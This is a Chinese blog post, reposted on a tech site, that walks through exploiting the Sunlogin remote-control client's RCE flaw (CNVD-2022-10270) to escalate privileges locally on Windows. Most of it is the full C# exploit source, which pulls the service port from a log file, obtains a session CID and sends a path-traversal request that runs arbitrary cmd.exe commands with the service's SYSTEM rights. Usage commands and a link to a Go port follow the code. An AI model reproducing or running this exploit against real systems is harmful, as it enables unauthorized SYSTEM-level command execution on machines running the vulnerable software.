栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > .Net

向日葵RCE后续利用之本地提权

.Net 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

向日葵RCE后续利用之本地提权

根据玄武实验室的文章

https://github.com/Ryze-T/CNVD-2022-10270-LPE

找到目标日志文件

cd /d c:/
dir /S sunlogin_service*

向日葵日志文件

sunlogin_service.20220226-171345.log

复现

安装.NET 4

https://www.microsoft.com/zh-cn/download/details.aspx?id=17718

在运行,发现需要指定路径路径,而我在win7下目录为

C:ProgramDataOraySunloginClientlog

和默认不同所以需要自己指定(注意这里不带log)

sunloginLPE.exe whoami C:ProgramDataOraySunloginClient

代码分析
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Text.RegularExpressions;
using System.Net;

namespace sunloginLPE
{

    internal class Program
    {
        static string GetLatestFiles(string Path, int count)
        {
            var query = (from f in Directory.GetFiles(Path)
                         let fi = new FileInfo(f)
                         orderby fi.CreationTime descending
                         select fi.FullName).Take(count);
            string[] files = query.ToArray();
            for (int i = 0; i < files.Length; i++)
            {
                if (files[i].Contains("sunlogin_service."))
                {
                    return files[i];
                }
            }
            Console.WriteLine("[-] logFile not found");
            return "";
        }
        static string getPort(string path)
        {
            string logFile = GetLatestFiles(path + "\log", 2);
            string port = "";
            string s;
            if (logFile != "")
            {
                FileStream fs = new FileStream(logFile, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
                StreamReader sr = new StreamReader(fs, System.Text.Encoding.Default);
                s  = sr.ReadToEnd();
                string pattern = @"bstart listen OKS*,";
                string pattern2 = @"d{5}";
                string res = "";
                MatchCollection mc = Regex.Matches(s, pattern);
                foreach (Match m in mc)
                    res = m.Value;
                MatchCollection mc2 = Regex.Matches(res, pattern2);
                foreach (Match m2 in mc2)
                    port = m2.Value;
            }
            return port;

        }

        private static String HttpGet(string url, string requestData)
        {
            // 实例化请求对象
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url + "?" + requestData);
            request.Method = "GET";
            request.ContentType = "text/html; charset=UTF-8";

            // 实例化响应对象,获取响应信息
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            Stream responseStream = response.GetResponseStream();
            StreamReader sReader = new StreamReader(responseStream, Encoding.Default);
            String result = sReader.ReadToEnd();
            sReader.Close();
            responseStream.Close();
            return result;
        }

        private static String HttpGetWithCookie(string url, string requestData,string cookie)
        {
            // 实例化请求对象
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url + "?" + requestData);
            request.Method = "GET";
            request.ContentType = "text/html; charset=UTF-8";
            request.Headers.Add("Cookie", "CID=" + cookie);

            // 实例化响应对象,获取响应信息
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            Stream responseStream = response.GetResponseStream();
            StreamReader sReader = new StreamReader(responseStream, Encoding.Default);
            String result = sReader.ReadToEnd();
            sReader.Close();
            responseStream.Close();
            return result;
        }
        static string exp(string SunloginClient_port,string ExecCmd)
        {
            String targetUrl = "http://127.0.0.1:" + SunloginClient_port + "/cgi-bin/rpc";
            String response = HttpGet(targetUrl, "action=verify-haras");
            string pattern = "verify_string":"(\w+)?"";
            string cid = "";
            MatchCollection mc = Regex.Matches(response, pattern);
            foreach (Match m in mc)
                cid = m.Value;
            cid = cid.Replace(""", "").Replace("verify_string:", "");
            Console.WriteLine("[+] CID=" +cid);

            targetUrl = "http://127.0.0.1:" + SunloginClient_port + "/check";
            response = HttpGetWithCookie(targetUrl, "cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows\system32\cmd.exe+/c+" + ExecCmd.Replace(" ","+"),cid);

            return response;
        }
        static void Main(string[] args)
        {
            
            Console.WriteLine("[!] Usage: sunloginLPE.exe Cmd [sunloginClientPath](DefaultPath = C:\Program Files\Oray\SunLogin\SunloginClient)");
            string defaultPath = "C:\Program Files\Oray\SunLogin\SunloginClient";
            string cmd = "";
            string path = defaultPath;
            string port = "";
            if(args.Length  == 1)
            {
                cmd = args[0];
            }
            else if(args.Length == 2)
            {
                cmd=args[0];
                path =args[1];
            }
            else
            {
                Console.WriteLine("[-] wrong number of parameters");
                System.Environment.Exit(0);
            }
            try
            {
                port = getPort(path);
                if(port != "")
                {
                    Console.WriteLine("[+] SunloginClient port is " + port);
                }
                else
                {
                    Console.WriteLine("[-] SunloginClient port not found");
                    System.Environment.Exit(0);
                }
                Console.WriteLine("[+] 命令执行结果: n" + exp(port, cmd));
            }
            catch(Exception ex)
            {
                Console.WriteLine("[-] " + ex.ToString());
            }
        }
    }
}

在111行Main函数中写死了路径,如果出现目录不同需要提供第二个参数

string defaultPath = "C:\Program Files\Oray\SunLogin\SunloginClient";

所以程序其实只自动化了漏洞利用这一块,目录如果不是默认还是需要自己查询

  • 猜测应该是因为直接去自动化查找文件可能会被杀毒拦截,需要进行免杀所以通用性不高就没写
go程序编写

所以自己用go写一个直接一条龙服务(但是不免杀!)

  • 首先确定程序功能

    1. 查找进程查看是否存在向日葵进程(这里不确认进程名是否都一致)
    2. 寻找日志文件从中提取出端口信息
    3. 通过端口信息进行本地利用命令执行达到提权
  • 确认传参

    • 要执行的cmd命令

最后效果


总的来说

  • 首先先通过获取进程列表来确定本地是否存在向日葵进程

  • 如果存在就通过批处理寻找日志文件(自动化)

  • 然后第二步获取最新日志文件

    • 上面的程序直接调用 Directory.GetFiles方法通过创建时间来获取
    • 而我是基于上一步的日志文件通过比对得出的结果
  • 后续的凭证获取和命令执行还是一样

代码也放在了github,对于GO来说还是初学者,所以可能写的不是很好(尤其异常处理这一块还需要完善)

https://github.com/liangyueliangyue/sunlogin_rce
后记

因为是基于文件读取的前提进行命令执行,然后向日葵运行是在系统管理员权限,所以可以用来进行本地提权

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1023730.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号